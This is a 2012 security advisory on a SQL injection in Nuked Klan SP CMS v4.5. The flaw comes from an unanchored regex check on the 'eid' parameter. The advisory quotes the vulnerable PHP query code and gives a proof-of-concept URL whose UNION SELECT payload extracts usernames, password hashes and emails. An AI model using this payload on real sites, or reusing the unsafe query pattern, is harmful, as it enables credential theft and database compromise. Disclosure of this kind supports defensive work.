Title:

Nuked Klan SP CMS v4.5 - SQL injection Vulnerability

Date:

2012-06-09

References:

http://www.vulnerability-lab.com/get_content.php?id=610

VL-ID:

610

Common Vulnerability Scoring System:

8

Introduction:

Nuked-Klan is an open source CMS. It allows you to install and administer a website in a simple and interactive.
It simply requires a hosting PHP / MySQL to work. Nuked-Klan is specialized in network games and clan management
with its version Gamer, however, a general version of SP is named.

(Copy of the Vendor Homepage: http://www.nuked-klan.org/ )

Abstract:

The Vulnerability Laboratory Research Team discovered a critical sql vulnerability and regex ereg bypass in the Nuked Klan SP v4.5 CMS.

Report-Timeline:

2012-06-08: Public Public Disclosure

Status:

Published

Exploitation-Technique:

Remote

Severity:

High

Details:

A SQL Injection vulnerability & a misconfiguration are detected in the Nuked Klan SP v4.5 Content Management System.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own
sql commands on the affected application dbms without user inter action. Successful exploitation of the
vulnerability results in dbms & application compromise. The vulnerabilities are located in misconfigured
regex ereg condition when processing to request the eid variable.

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] eid

Proof of Concept:

The sql injection vulnerability can be exploited by remote attackers without required user inter action.
For demonstration or reproduce …

Before continuing to exploit, you need to know the procedure about how "Eid" variable is handled (behind).
First the user is sending a GET request with "eid" as argument then it passed to the function `show_event()`.
Now we review the content of the file "/modules/Calendar/index.php " as example …

function show_event()
{
global $bgcolor2, $eid, $type, $d, $m, $y, $user, $nuked, $theme, $language;

    if ($type == "birthday" && ereg("[a-zA-Z0-9]+$", $eid)) 
    {
        $sql = mysql_query("SELECT pseudo, prenom, age FROM " . USER_TABLE . " WHERE id = '" . $eid . "'");
        list($pseudo, $prenom, $birthday) = mysql_fetch_array($sql);
        $pseudo = stripslashes($pseudo);
        $prenom = stripslashes($prenom);  ...

This function will check if a variable contains only alpha-num characters or not, as you can see on this regex
ereg("[a-zA-Z0-9]+$", $eid) the programmer has forget to add begin check `^`. Remote attackers can bypass the
validation by adding any own special character like (+,–,#,% ) followed by the string to validate the above condition.

PoC:
http://127.0.0.1:80/nk/index.php?file=Calendar&nuked_nude=index&op=show_event&eid=
0'union+select+version(),concat(pseudo,0x3a,pass,0x3a,email),3+from+nuked_users+where%20'vuln-lab'='vuln-lab&type=birthday

Risk:

The security risk of the sql injection vulnerability is estimated as high.

Credits:

Vulnerability Laboratory [Research Team] - Karim H.B. ([email protected])

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